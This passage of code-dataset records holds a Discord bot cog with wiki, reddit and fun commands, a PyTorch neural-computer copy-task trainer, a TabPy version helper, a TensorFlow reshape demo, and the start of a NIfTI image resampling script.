value=(\n\t\t\t\tf\"`{cmdpfx}{top_commands[0][0]}`\\n\"\n\t\t\t\tf\"`{cmdpfx}{top_commands[1][0]}`\\n\"\n\t\t\t\tf\"`{cmdpfx}{top_commands[2][0]}`\\n\"))\n\n\t\ttop_commands_weekly = top_commands.filter(loggingdb.Message.timestamp > datetime.datetime.utcnow() - datetime.timedelta(weeks=1))\n\t\tif top_commands_weekly.count() >= 3:\n\t\t\tembed.add_field(name=\"Top Commands (This Week)\", value=(\n\t\t\t\tf\"`{cmdpfx}{top_commands_weekly[0][0]}`\\n\"\n\t\t\t\tf\"`{cmdpfx}{top_commands_weekly[1][0]}`\\n\"\n\t\t\t\tf\"`{cmdpfx}{top_commands_weekly[2][0]}`\\n\"))\n\n\t\tawait ctx.send(embed=embed)\n\n\t@commands.command()\n\tasync def lasagna(self, ctx):\n\t\t\"\"\"A baked Italian dish\n\n\t\tContains wide strips of pasta cooked and layered with meat or vegetables, cheese, and tomato sauce.\"\"\"\n\t\tawait ctx.send(file=discord.File(settings.resource(\"images/lasagna.jpg\")))\n\n\t@commands.command()\n\tasync def helpold(self, ctx, command : str=None):\n\t\t\"\"\"Shows this message.\"\"\"\n\t\tdef repl(obj):\n\t\t\treturn MENTION_TRANSFORMS.get(obj.group(0), '')\n\n\t\t# help by itself just lists our own commands.\n\t\tif command == \"all\":\n\t\t\tembed = await self.bot.formatter.format_as_embed(ctx, self.bot, True)\n\t\telif command == None:\n\t\t\tembed = await self.bot.formatter.format_as_embed(ctx, self.bot, False)\n\t\telse:\n\t\t\t# try to see if it is a cog name\n\t\t\tname = MENTION_PATTERN.sub(repl, command).lower()\n\t\t\tif name in map(lambda c: c.lower(), self.bot.cogs):\n\t\t\t\tfor cog in self.bot.cogs:\n\t\t\t\t\tif cog.lower() == name:\n\t\t\t\t\t\tcommand = self.bot.cogs[cog]\n\t\t\telse:\n\t\t\t\tcommand = self.bot.all_commands.get(name)\n\t\t\t\tif command is None:\n\t\t\t\t\tawait ctx.send(self.bot.command_not_found.format(name))\n\t\t\t\t\treturn\n\t\t\tembed = await self.bot.formatter.format_as_embed(ctx, command)\n\n\t\tawait ctx.send(embed=embed)\n\n\t@commands.command()\n\tasync def scramble(self, ctx, *, message : str):\n\t\t\"\"\"Scrambles the insides of words\"\"\"\n\n\t\tdef scramble_word(word):\n\t\t\tif len(word) < 4:\n\t\t\t\tletters = list(word)\n\t\t\t\trandom.shuffle(letters)\n\t\t\t\treturn \"\".join(letters)\n\t\t\telse:\n\t\t\t\tletters = list(word[1:-1])\n\t\t\t\trandom.shuffle(letters)\n\t\t\t\treturn word[0] + \"\".join(letters) + word[-1]\n\n\t\tresults = []\n\t\tfor word in message.split(\" \"):\n\t\t\tresults.append(scramble_word(word))\n\n\t\tawait ctx.send(\" \".join(results))\n\n\t@commands.command(aliases=[\"define\", \"lookup\", \"wikipedia\", \"whatis\"])\n\tasync def wiki(self, ctx, *, thing : str):\n\t\t\"\"\"Looks up a thing on wikipedia\n\t\t\n\t\tUses the [python Wikipedia API](https://wikipedia.readthedocs.io/en/latest/) to look up a thing. \n\n\t\tYou can also try `{cmdpfx} wiki random` to get a random wiki page\n\n\t\t**Example:**\n\t\t`{cmdpfx}wiki potato`\n\t\t\"\"\"\n\t\tawait ctx.channel.trigger_typing()\n\n\t\tdef getWikiPage(title):\n\t\t\ttry:\n\t\t\t\tif title == \"random\":\n\t\t\t\t\treturn wikipedia.page(title=wikipedia.random(1), redirect=True, auto_suggest=True)\n\t\t\t\treturn wikipedia.page(title=title, redirect=True, auto_suggest=True)\n\t\t\texcept (wikipedia.exceptions.DisambiguationError, wikipedia.exceptions.PageError) as e:\n\t\t\t\tif title == \"random\":\n\t\t\t\t\treturn getWikiPage(title)\n\t\t\t\tif isinstance(e, wikipedia.exceptions.PageError) or len(e.options) == 0:\n\t\t\t\t\traise UserError(f\"Couldn't find anythin' fer \\\"*{thing}*\\\"\")\n\t\t\t\tif e.options[0] == title:\n\t\t\t\t\traise UserError(\"Can't find things on wiki for that\")\n\t\t\t\treturn getWikiPage(e.options[0])\n\n\t\tpage = await ctx.bot.loop.run_in_executor(ThreadPoolExecutor(max_workers=1), getWikiPage, thing)\n\t\t\n\t\tpage_html = await httpgetter.get(page.url, \"text\")\n\n\t\tpage_html = BeautifulSoup(page_html, 'html.parser')\n\t\tpage_html = page_html.find(id=\"mw-content-text\")\n\n\t\tdef tagsToMarkdown(tag, plaintext=False):\n\t\t\tif isinstance(tag, list):\n\t\t\t\tresult = \"\"\n\t\t\t\tfor i in tag:\n\t\t\t\t\tresult += tagsToMarkdown(i, plaintext)\n\t\t\t\treturn result\n\t\t\telif isinstance(tag, str):\n\t\t\t\treturn tag\n\t\t\telif isinstance(tag, Tag):\n\t\t\t\tif plaintext:\n\t\t\t\t\treturn tagsToMarkdown(tag.contents, plaintext)\n\t\t\t\telif tag.name == \"b\":\n\t\t\t\t\treturn f\"**{tagsToMarkdown(tag.contents)}**\"\n\t\t\t\telif tag.name == \"i\":\n\t\t\t\t\treturn f\"*{tagsToMarkdown(tag.contents)}*\"\n\t\t\t\telif tag.name in [ \"sub\", \"sup\" ]:\n\t\t\t\t\tif \"reference\" in tag.get(\"class\", []):\n\t\t\t\t\t\treturn \"\" # dont include references\n\t\t\t\t\ttext = tagsToMarkdown(tag.contents, plaintext=True)\n\t\t\t\t\tif len(text) and text[0] == \"[\" and text[-1] == \"]\":\n\t\t\t\t\t\treturn \"\" # this is a references thing you cant fool me\n\t\t\t\t\treplacements = self.subscripts if tag.name == \"sub\" else self.superscripts\n\t\t\t\t\tnew_text = \"\"\n\t\t\t\t\tfor c in text:\n\t\t\t\t\t\tnew_text += replacements.get(c) if c in replacements else c\n\t\t\t\t\treturn new_text\n\t\t\t\telif tag.name == \"a\":\n\t\t\t\t\tif tag.get(\"href\") is None:\n\t\t\t\t\t\treturn tagsToMarkdown(tag.contents)\n\t\t\t\t\tif tag[\"href\"].startswith(\"#\"):\n\t\t\t\t\t\treturn \"\" # dont include references\n\t\t\t\t\thref = re.sub(\"^/wiki/\", \"https://en.wikipedia.org/wiki/\", tag['href'])\n\t\t\t\t\thref = re.sub(r\"(\\(|\\))\", r\"\\\\\\1\", href)\n\t\t\t\t\treturn f\"[{tagsToMarkdown(tag.contents)}]({href})\"\n\t\t\t\telse:\n\t\t\t\t\t# raise UserError(f\"Unrecognized tag: {tag.name}\")\n\t\t\t\t\treturn tagsToMarkdown(tag.contents)\n\t\t\t\n\t\t\treturn str(tag)\n\n\t\tsummary = tagsToMarkdown(page_html.find(\"div\").find(lambda tag: tag.name == \"p\" and not tag.attrs, recursive=False).contents)\n\n\t\tdef markdownLength(text):\n\t\t\ttext = re.sub(r\"\\[([^\\[]*)]\\([^\\(]*\\)\", r\"\\1\", text)\n\t\t\treturn len(text)\n\n\t\tmatches = re.finditer(r\"([^\\s\\.]+\\.)(\\s|$)\", summary)\n\t\tif matches:\n\t\t\tfor match in list(matches):\n\t\t\t\tif markdownLength(summary[0:match.end()]) > 70:\n\t\t\t\t\tsummary = summary[0:match.end()]\n\t\t\t\t\tbreak\n\n\t\tembed = discord.Embed(description=summary)\n\t\tembed.title = f\"**{page.title}**\"\n\t\tembed.url = page.url\n\n\t\tfor image in page_html.find_all(class_=\"navbox\"):\n\t\t\timage.decompose()\n\t\tfor image in page_html.find_all(class_=\"mbox-image\"):\n\t\t\timage.decompose()\n\t\tfor image in page_html.find_all(class_=\"metadata plainlinks stub\"):\n\t\t\timage.decompose()\n\n\t\tpage_html_text = page_html.prettify()\n\n\t\tbest_image = None\n\t\tbest_image_index = -1\n\t\tfor image in page.images:\n\t\t\tif \"Wikisource-logo\" in image:\n\t\t\t\tcontinue\n\t\t\tif re.search(r\"\\.(png|jpg|jpeg|gif)$\", image, re.IGNORECASE):\n\t\t\t\tindex = page_html_text.find(image.split('/')[-1])\n\t\t\t\tif index != -1 and (best_image_index == -1 or index < best_image_index):\n\t\t\t\t\tbest_image = image\n\t\t\t\t\tbest_image_index = index\n\n\t\tif best_image:\n\t\t\tembed.set_image(url=best_image)\n\n\t\tembed.set_footer(text=\"Retrieved from Wikipedia\", icon_url=\"https://upload.wikimedia.org/wikipedia/commons/thumb/5/5a/Wikipedia's_W.svg/2000px-Wikipedia's_W.svg.png\")\n\n\t\tif best_image and re.search(r\"\\.svg$\", best_image, re.IGNORECASE):\n\t\t\tawait ctx.send(embed=embed, file=svg_png_image)\n\t\telse:\n\t\t\tawait ctx.send(embed=embed)\n\n\t@commands.command()\n\tasync def reddit(self, ctx, url_or_id):\n\t\t\"\"\"Gets a reddit submission and returns a nice embed of it\"\"\"\n\t\tif settings.reddit is None:\n\t\t\traise UserError(\"This MangoByte has not been configured to get reddit submissions. Gotta add your info to `settings.json`\")\n\n\t\tawait ctx.channel.trigger_typing()\n\n\t\treddit = praw.Reddit(client_id=settings.reddit[\"client_id\"],\n\t\t\tclient_secret=settings.reddit[\"client_secret\"],\n\t\t\tuser_agent=settings.reddit[\"user_agent\"])\n\n\t\ttry:\n\t\t\tif re.search(r\"(redd\\.it|reddit.com)\", url_or_id):\n\t\t\t\tif not re.search(r\"https?://\", url_or_id):\n\t\t\t\t\turl_or_id = \"http://\" + url_or_id\n\t\t\t\tsubmission = reddit.submission(url=url_or_id)\n\t\t\telse:\n\t\t\t\tsubmission = reddit.submission(id=url_or_id)\n\t\t\tdescription = submission.selftext\n\t\texcept:\n\t\t\traise UserError(\"Couldn't properly find that reddit submission\")\n\n\t\tcharacter_limit = 600\n\t\t# convert between markdown types\n\t\tdescription = re.sub(r\"\\n(?:\\*|-) (.*)\", r\"\\n• \\1\", description)\n\t\tdescription = re.sub(r\"(?:^|\\n)#+([^#\\n]+)\\n\", r\"\\n__**\\1**__ \\n\", description)\n\t\tdescription = re.sub(r\"\\n+---\\n+\", r\"\\n\\n\", description)\n\t\tdescription = re.sub(r\" \", r\" \", description)\n\n\t\tdescription = html.unescape(description)\n\n\t\tif len(description) > character_limit:\n\t\t\tdescription = f\"{description[0:character_limit]}...\\n[Read More]({submission.shortlink})\"\n\n\t\tembed = discord.Embed(description=description, color=discord.Color(int(\"ff4500\", 16)))\n\t\tembed.set_footer(text=f\"/r/{submission.subreddit}\", icon_url=\"https://images-na.ssl-images-amazon.com/images/I/418PuxYS63L.png\")\n\n\t\tembed.title = submission.title\n\t\tembed.url = submission.shortlink\n\n\t\turl_ext = submission.url.split(\".\")[-1]\n\n\t\tif url_ext in [\"gifv\", \"gif\", \"png\", \"jpg\", \"jpeg\"]:\n\t\t\timage_url = submission.url\n\t\t\tif url_ext == \"gifv\":\n\t\t\t\timage_url = image_url.replace(\".gifv\", \".gif\")\n\t\t\tembed.set_image(url=image_url)\n\n\t\tawait ctx.send(embed=embed)\n\n\t@commands.command(aliases=[\"quote\", \"showerthoughts\", \"thought\" ])\n\tasync def showerthought(self, ctx):\n\t\t\"\"\"Gets a top post from r/ShowerThoughts\n\t\t\n\t\tGets a random post from the [r/ShowerThoughts](https://www.reddit.com/r/Showerthoughts/top/?sort=top&t=all) subreddit. Looks through the list of the all time top posts for the subreddit\n\t\t\"\"\"\n\t\tawait ctx.channel.trigger_typing()\n\n\t\tthought = random.choice(self.showerthoughts_data)\n\n\t\tauthor = thought[\"author\"]\n\t\tauthor = f\"u/{author}\" if author else \"[deleted]\"\n\n\t\tembed = discord.Embed()\n\n\t\tembed.description = thought[\"title\"]\n\t\tembed.timestamp = datetime.datetime.utcfromtimestamp(thought[\"timestamp\"])\n\t\tembed.set_footer(text=author)\n\n\t\tawait ctx.send(embed=embed)\n\n\t@commands.command(hidden=True, aliases=[\"restapi\"])\n\tasync def restget(self, ctx, url):\n\t\t\"\"\"Gets a json response from a rest api and returns it\"\"\"\n\t\tawait ctx.channel.trigger_typing()\n\t\tdata = await httpgetter.get(url)\n\n\t\tfilename = settings.resource(\"temp/response.json\")\n\t\twrite_json(filename, data)\n\t\tawait ctx.send(file=discord.File(filename))\n\t\tos.remove(filename)\n\n\t@commands.command()\n\tasync def ask(self, ctx, *, question : str=\"\"):\n\t\t\"\"\"Answers any question you might have\"\"\"\n\t\trandom.seed(question)\n\t\tfor check in self.questions:\n\t\t\tif re.search(check[\"regex\"], question):\n\t\t\t\tclip = await self.get_clip(f\"dota:{random.choice(check['responses'])}\", ctx)\n\t\t\t\tawait ctx.send(clip.text)\n\t\t\t\ttry:\n\t\t\t\t\tawait self.play_clip(clip, ctx)\n\t\t\t\texcept AudioPlayerNotFoundError:\n\t\t\t\t\tpass # Not needed for this \n\t\t\t\treturn\n\t\tprint(\"didnt match anything for ask\")\n\n\t@commands.command()\n\tasync def insult(self, ctx):\n\t\t\"\"\"Gets a nice insult for ya\n\n\t\tMention someone in discord and I'll insult them instead of you\n\n\t\t**Example:**\n\t\t`{cmdpfx}insult`\n\t\t`{cmdpfx}insult @InnocentMan`\n\t\t\"\"\"\n\t\tstart = \"You \"\n\t\tstart_local = start\n\n\t\ttemplate = \"{animal|food|furniture|instrument:NOSPACE}-{body_part_ed} {relation} of a {animal|furniture}\"\n\n\t\tif ctx.message.mentions:\n\t\t\tuser = ctx.message.mentions[0]\n\t\t\tif user.id == ctx.guild.me.id:\n\t\t\t\ttemplate = \"lovely fellow\"\n\t\t\tstart = f\"{user.mention}, you're a \"\n\t\t\tstart_local = f\"{user.name}, you're a \"\n\n\t\tresult = fill_word_template(template, self.words)\n\n\t\tawait ctx.send(start + result)\n\t\tif ctx.guild.me.voice:\n\t\t\tawait self.play_clip(f\"tts:{start_local}{result}\", ctx)\n\t\t\n\t\n\t@commands.command(aliases=[\"random\"])\t\n\tasync def random_number(self, ctx, maximum : int, minimum : int = 0):\n\t\t\"\"\"Gets a random number between the minimum and maximum\n\n\t\tThe min and max integer bounds are **inclusive**\n\n\t\tThe command will be able to figure out which number is the minimum and which is the maximum if they are put in backwards. If one number is entered, it is assumed to be the maximum, and the default minimum is 0\n\n\t\t**Example:**\n\t\t`{cmdpfx}random 5`\n\t\t`{cmdpfx}random 1 10`\n\t\t\"\"\"\n\t\tresult = None\n\t\tif maximum < minimum:\n\t\t\tresult = random.randint(maximum, minimum)\n\t\telse:\n\t\t\tresult = random.randint(minimum, maximum)\n\t\tawait ctx.send(result)\n\t\n\t@commands.command(aliases=[\"pickone\"])\n\tasync def choose(self, ctx, *options):\n\t\t\"\"\"Randomly chooses one of the given options\n\n\t\tYou must provide at least one option for the bot to choose, and the options should be separated by spaces\n\t\t\n\t\t**Example:**\n\t\t`{cmdpfx}choose Dota2 Fortnite RocketLeague`\n\t\t`{cmdpfx}choose green red blue`\n\t\t\"\"\"\n\t\tif not len(options) > 0:\n\t\t\traise UserError(\"You gotta give me a couple different options, separated by spaces\")\n\t\tawait ctx.send(random.choice(options))\n\n\t@commands.Cog.listener()\n\tasync def on_message(self, message):\n\t\tif message.guild is not None and not botdata.guildinfo(message.guild.id).reactions:\n\t\t\treturn\n\n\t\tif (message.author == self.bot.user) or message.content.startswith(self.cmdpfx(message.guild)):\n\t\t\treturn\n\n\t\trandom.seed(message.content)\n\n\t\tfor check in self.reactions:\n\t\t\texpression = check[\"regex\"]\n\t\t\tif check.get(\"word\"):\n\t\t\t\texpression = \"\\\\b({})\\\\b\".format(expression)\n\t\t\t\tmatch = re.search(expression, message.clean_content, re.IGNORECASE)\n\t\t\telse:\n\t\t\t\tmatch = re.search(expression, message.clean_content)\n\t\t\tif match and (random.random() < check.get(\"chance\", 1.0)):\n\t\t\t\tawait message.add_reaction(random.choice(check[\"reaction\"]))\n\t\t\t\tbreak\n\n\t@commands.Cog.listener()\n\tasync def on_command(self, ctx):\n\t\tmsg = loggingdb.insert_message(ctx.message, ctx.command.name, loggingdb_session)\n\t\tloggingdb.insert_command(ctx, loggingdb_session)\n\t\tprint(msg)\n\n\t@commands.Cog.listener()\n\tasync def on_command_completion(self, ctx):\n\t\tloggingdb.command_finished(ctx, \"completed\", None, loggingdb_session)\n\n\t@commands.Cog.listener()\n\tasync def on_guild_join(self, guild):\n\t\tloggingdb.update_guilds(self.bot.guilds, loggingdb_session)\n\n\t@commands.Cog.listener()\n\tasync def on_guild_remove(self, guild):\n\t\tloggingdb.update_guilds(self.bot.guilds, loggingdb_session)\n\n\t@commands.command(aliases=[ \"tipjar\", \"donation\" ])\n\tasync def donate(self, ctx):\n\t\t\"\"\"Posts the donation information\"\"\"\n\t\tembed = discord.Embed()\n\n\t\tembed.description = \"I host MangoByte on [DigitalOcean](https://www.digitalocean.com), which costs `$15` per month. (2nd row in the 'Flexible Droplet' table [here](https://www.digitalocean.com/pricing/)). \"\n\t\tembed.description += \"I have a decently paying job, so MangoByte won't be going down anytime soon, but if you want to help with the server costs, or just support me because you feel like it, feel free to donate using the link below:\"\n\t\tembed.description += f\"\\n\\n[Donation Link]({self.donation_link})\"\n\n\t\tawait ctx.send(embed=embed)\n\n\ndef setup(bot):\n\tbot.add_cog(General(bot))","sub_path":"cogs/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":22363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"90716165","text":"import warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\nimport numpy as np\r\nimport getopt\r\nimport sys\r\nimport os\r\n\r\nimport time\r\nimport torch\r\nimport argparse\r\nfrom visdom import Visdom\r\nimport pickle\r\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, accuracy_score\r\n\r\nsys.path.insert(0, os.path.join('..', '..'))\r\n\r\nimport torch as T\r\nfrom torch.autograd import Variable as var\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nfrom torch.nn.utils import clip_grad_norm\r\n\r\n\r\nprint(sys.path)\r\nfrom dnc.dnc import DNC\r\n\r\n\r\n\r\nparser = argparse.ArgumentParser(description='PyTorch Differentiable Neural Computer')\r\nparser.add_argument('-input_size', type=int, default=6, help='dimension of input feature')\r\nparser.add_argument('-rnn_type', type=str, default='lstm', help='type of recurrent cells to use for the controller')\r\nparser.add_argument('-nhid', type=int, default=64, help='number of hidden units of the inner nn')\r\nparser.add_argument('-dropout', type=float, default=0, help='controller dropout')\r\n\r\nparser.add_argument('-nlayer', type=int, default=1, help='number of layers')\r\nparser.add_argument('-nhlayer', type=int, default=2, help='number of hidden layers')\r\nparser.add_argument('-lr', type=float, default=1e-2, help='initial learning rate')\r\nparser.add_argument('-optim', type=str, default='adam', help='learning rule, supports adam|rmsprop')\r\nparser.add_argument('-clip', type=float, default=50, help='gradient clipping')\r\n\r\nparser.add_argument('-batch_size', type=int, default=150, metavar='N', help='batch size')\r\nparser.add_argument('-mem_size', type=int, default=16, help='memory dimension')\r\nparser.add_argument('-mem_slot', type=int, default=10, help='number of memory slots')\r\nparser.add_argument('-read_heads', type=int, default=1, help='number of read heads')\r\n\r\nparser.add_argument('-sequence_max_length', type=int, default=4, metavar='N', help='sequence_max_length')\r\nparser.add_argument('-cuda', type=int, default=-1, help='Cuda GPU ID, -1 for CPU')\r\nparser.add_argument('-log-interval', type=int, default=200, metavar='N', help='report interval')\r\n\r\nparser.add_argument('-iterations', type=int, default=5000, metavar='N', help='total number of iteration')\r\nparser.add_argument('-summarize_freq', type=int, default=100, metavar='N', help='summarize frequency')\r\nparser.add_argument('-check_freq', type=int, default=100, metavar='N', help='check point frequency')\r\n\r\nargs = parser.parse_args()\r\nprint(args)\r\nviz = Visdom()\r\n# assert viz.check_connection()\r\ngpu_id = -1\r\nprint(\"Cuda available:\", torch.cuda.is_available())\r\nUSE_CUDA = torch.cuda.is_available()\r\nif USE_CUDA:\r\n T.manual_seed(1111)\r\n gpu_id = 0\r\n\r\n\r\ndef llprint(message):\r\n sys.stdout.write(message)\r\n sys.stdout.flush()\r\n\r\n \r\n\r\n #copy from the upper to the bottom part od the input tesor\r\ndef copy_task(batch_size, length, size, cuda=-1):\r\n\r\n input_data = np.zeros((batch_size, 2 * length + 1, size), dtype=np.float32)\r\n target_output = np.zeros((batch_size, 2 * length + 1, size), dtype=np.float32)\r\n\r\n sequence = np.random.binomial(1, 0.5, (batch_size, length, size - 1))\r\n print(\" sequence shape: \")\r\n #print(sequence.shape)\r\n# print(\"sequence: \", sequence)\r\n input_data[:, :length, :size - 1] = sequence\r\n input_data[:, length, -1] = 1 # the end symbol\r\n target_output[:, length + 1:, :size - 1] = sequence\r\n #print(\"Shape of the input data: \", input_data.shape)\r\n #print(\"Input data: \", input_data)\r\n #print(\"Shape of the target output: \", target_output.shape)\r\n #print(\"The target output is: \", target_output)\r\n input_data = T.from_numpy(input_data)\r\n target_output = T.from_numpy(target_output)\r\n #print(\"length of input data: \",input_data.shape[1])\r\n if USE_CUDA:\r\n input_data = input_data.cuda()\r\n target_output = target_output.cuda()\r\n# \r\n# return var(input_data), var(target_output)\r\n return input_data, target_output\r\n\r\n#define two loss functions\r\ndef criterion_logsigmoid(predictions, targets):\r\n return T.mean(\r\n -1 * F.logsigmoid(predictions) * (targets) - T.log(1 - F.sigmoid(predictions) + 1e-9) * (1 - targets)\r\n )\r\n \r\ndef criterion_squared_loss(predictions, targets):\r\n return T.mean(sum((predictions - targets) ** 2))\r\n \r\nif __name__ == '__main__':\r\n\r\n dirname = os.path.dirname(__file__)\r\n ckpts_dir = os.path.join(dirname, 'checkpoints')\r\n if not os.path.isdir(ckpts_dir):\r\n os.mkdir(ckpts_dir)\r\n\r\n batch_size = args.batch_size\r\n sequence_max_length = args.sequence_max_length\r\n iterations = args.iterations\r\n summarize_freq = args.summarize_freq\r\n check_freq = args.check_freq\r\n\r\n # input_size = output_size = args.input_size\r\n mem_slot = args.mem_slot\r\n mem_size = args.mem_size\r\n read_heads = args.read_heads\r\n \r\n rnn = DNC(\r\n input_size=args.input_size,\r\n hidden_size=args.nhid,\r\n rnn_type=args.rnn_type,\r\n num_layers=args.nlayer,\r\n num_hidden_layers=args.nhlayer,\r\n dropout=args.dropout,\r\n nr_cells=mem_slot,\r\n cell_size=mem_size,\r\n read_heads=read_heads,\r\n gpu_id=gpu_id,\r\n debug=True,\r\n batch_first=True\r\n )\r\n print(rnn)\r\n \r\n if USE_CUDA:\r\n rnn = rnn.cuda()\r\n\r\n last_save_losses = []\r\n last_save_test_losses = []\r\n\r\n if args.optim == 'adam':\r\n optimizer = optim.Adam(rnn.parameters(), lr=args.lr, eps=1e-9, betas=[0.9, 0.98])\r\n elif args.optim == 'rmsprop':\r\n optimizer = optim.RMSprop(rnn.parameters(), lr=args.lr, eps=1e-10)\r\n\r\n\r\n def training(iterations):\r\n for epoch in range(iterations):\r\n llprint(\"\\rIteration {ep}/{tot}\".format(ep=epoch, tot=iterations))\r\n random_length = np.random.randint(1, args.sequence_max_length + 1)\r\n input_data, target_output=copy_task(args.batch_size, random_length, args.input_size)\r\n input_data = var(input_data)\r\n target_output = var(target_output)\r\n if USE_CUDA:\r\n input_data = input_data.cuda()\r\n target_output = target_output.cuda()\r\n optimizer.zero_grad() \r\n if rnn.debug:\r\n output, (chx, mhx, rv), v = rnn(input_data, None, pass_through_memory=True)\r\n else:\r\n output, (chx, mhx, rv) = rnn(input_data, None, pass_through_memory=True)\r\n #print(\"expected: \", target_output)\r\n #print(\"actual: \", output)\r\n \r\n #choose a loss function\r\n loss = criterion_squared_loss((output), target_output)\r\n loss.backward()\r\n T.nn.utils.clip_grad_norm(rnn.parameters(), args.clip)\r\n optimizer.step()\r\n loss_value = loss.data[0]\r\n print(\"loss value\", loss_value)\r\n summarize = (epoch % summarize_freq == 0)\r\n take_checkpoint = (epoch != 0) and (epoch % check_freq == 0)\r\n \r\n last_save_losses.append(loss_value)\r\n \r\n if summarize and rnn.debug:\r\n # test loss, evaluate test data but no gradient update\r\n #np.mean(last_save_test_losses)\r\n # train loss\r\n loss = np.mean(last_save_losses)\r\n llprint(\"\\n\\tAvg. Logistic Loss: %.4f\\n\" % (loss))\r\n if epoch % 1000 == 0:\r\n print(epoch)\r\n if len(last_save_losses) > 0:\r\n lossvalues=np.array(last_save_losses)\r\n epochs=[]\r\n for ep in range(0,len(lossvalues)):\r\n epochs.append(ep)\r\n ep=ep+1\r\n print(\"epochs: \",len(epochs))\r\n print(len(lossvalues))\r\n epo=np.array(epochs)\r\n \r\n viz.line(lossvalues,epo)\r\n viz.heatmap(\r\n v['memory'],\r\n opts=dict(\r\n xtickstep=10,\r\n ytickstep=2,\r\n title='Memory, t: ' + str(epoch) + ', loss: ' + str(loss),\r\n ylabel='layer * time',\r\n xlabel='mem_slot * mem_size'\r\n )\r\n )\r\n\r\n viz.heatmap(\r\n v['link_matrix'],\r\n opts=dict(\r\n xtickstep=10,\r\n ytickstep=2,\r\n title='Link Matrix, t: ' + str(epoch) + ', loss: ' + str(loss),\r\n ylabel='layer * time',\r\n xlabel='mem_slot * mem_slot'\r\n )\r\n )\r\n\r\n viz.heatmap(\r\n v['precedence'],\r\n opts=dict(\r\n xtickstep=10,\r\n ytickstep=2,\r\n title='Precedence, t: ' + str(epoch) + ', loss: ' + str(loss),\r\n ylabel='layer * time',\r\n xlabel='mem_slot'\r\n )\r\n )\r\n\r\n viz.heatmap(\r\n v['read_weights'],\r\n opts=dict(\r\n xtickstep=10,\r\n ytickstep=2,\r\n title='Read Weights, t: ' + str(epoch) + ', loss: ' + str(loss),\r\n ylabel='layer * time',\r\n xlabel='nr_read_heads * mem_slot'\r\n )\r\n )\r\n\r\n viz.heatmap(\r\n v['write_weights'],\r\n opts=dict(\r\n xtickstep=10,\r\n ytickstep=2,\r\n title='Write Weights, t: ' + str(epoch) + ', loss: ' + str(loss),\r\n ylabel='layer * time',\r\n xlabel='mem_slot'\r\n )\r\n )\r\n\r\n viz.heatmap(\r\n v['usage_vector'],\r\n opts=dict(\r\n xtickstep=10,\r\n ytickstep=2,\r\n title='Usage Vector, t: ' + str(epoch) + ', loss: ' + str(loss),\r\n ylabel='layer * time',\r\n xlabel='mem_slot'\r\n )\r\n )\r\n\r\n if take_checkpoint:\r\n llprint(\"\\nSaving Checkpoint ... \"),\r\n check_ptr = os.path.join(ckpts_dir, 'step_{}.pth'.format(epoch))\r\n cur_weights = rnn.state_dict()\r\n T.save(cur_weights, check_ptr)\r\n llprint(\"Done!\\n\")\r\n\r\n\r\ndef testing(iterations): \r\n print(\"Making predictions...\")\r\n #predict test data\r\n test_loss=[]\r\n for elem in range(iterations):\r\n llprint(\"\\rIteration {ep}/{tot}\".format(ep=elem, tot=iterations))\r\n random_length = np.random.randint(1, args.sequence_max_length + 1)\r\n input_data, target_output=copy_task(args.batch_size, random_length, args.input_size)\r\n input_data = var(input_data)\r\n target_output = var(target_output)\r\n if rnn.debug:\r\n output, (chx, mhx, rv), v = rnn(input_data, None, pass_through_memory=True)\r\n else:\r\n output, (chx, mhx, rv) = rnn(input_data, None, pass_through_memory=True) \r\n loss = criterion_squared_loss((output), target_output)\r\n test_loss.append(loss)\r\n print(\"current loss value: \", loss)\r\n return test_loss\r\n\r\nx=training(args.iterations)\r\ny=testing(iterations=2000)","sub_path":"tasks definitive/Copytask_def_DNC.py","file_name":"Copytask_def_DNC.py","file_ext":"py","file_size_in_byte":10546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"565541604","text":"\"\"\"\nTabPy client is a Python client to interact with a Tornado-Python-Connector server process.\n\"\"\"\n\nfrom pathlib import Path\n\ndef read_version():\n f = None\n for path in ['VERSION', '../VERSION', '../../VERSION']:\n if Path(path).exists():\n f = path\n break\n\n if f is not None:\n with open(f) as h:\n return h.read().strip()\n else:\n return 'dev'\n\n\n__version__=read_version()\n\n","sub_path":"tabpy-tools/tabpy_tools/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"220503440","text":"import tensorflow as tf\n\nrank_three_tensor = tf.ones([3, 4, 5])\n\nt = tf.ones([3, 4, 5])\ntf.Print(t, [t]) # This does nothing\nt = tf.Print(t, [t]) # Here we are using the value returned by tf.Print\nresult = t + 1 # Now when result is evaluated the value of `t` will be printed.\n\nmatrix = tf.reshape(rank_three_tensor, [6, 10]) # Reshape existing content into\n # a 6x10 matrix\nprint(matrix)\n\nmatrixB = tf.reshape(matrix, [3, -1]) # Reshape existing content into a 3x20\n # matrix. -1 tells reshape to calculate\n # the size of this dimension.\nprint(matrixB)\n\nmatrixAlt = tf.reshape(matrixB, [4, 3, -1]) # Reshape existing content into a\n #4x3x5 tensor\nprint(matrixAlt)\n\n# Note that the number of elements of the reshaped Tensors has to match the\n# original number of elements. Therefore, the following example generates an\n# error because no possible value for the last dimension will match the number\n# of elements.\n# yet_another = tf.reshape(matrixA lt, [13, 2, -1]) # ERROR!\n\n# constant = tf.constant([1, 2, 3])\n# tensor = constant * constant\n# print(tensor.eval())\n","sub_path":"research/tensorflow/src/tf_low/tensors1.py","file_name":"tensors1.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"98046719","text":"\"\"\"\nAuthor: Alex Hamilton - https://github.com/alexhamiltonRN\nCreated: 2018-11-15\nDescription: A script for resampling nifti images (uniform voxel spacing \naccording to findings in EDA) \n\"\"\"\n\nimport SimpleITK as sitk\nimport numpy as np\nfrom pathlib import Path\n\npath_to_nifti = Path()\npath_to_nifti_resampled = Path()\n\ndef resample_voxel_spacing(is_training_data, desired_voxel_spacing):\n \n # Setting the paths\n\n path_to_nifti = Path()\n path_to_nifti_resampled = Path()\n counter = 1\n\n if is_training_data:\n path_to_nifti = Path('/home/alexander/Documents/DataProjects/Data/MBI/ProstateX/generated/train/nifti')\n path_to_nifti_resampled = 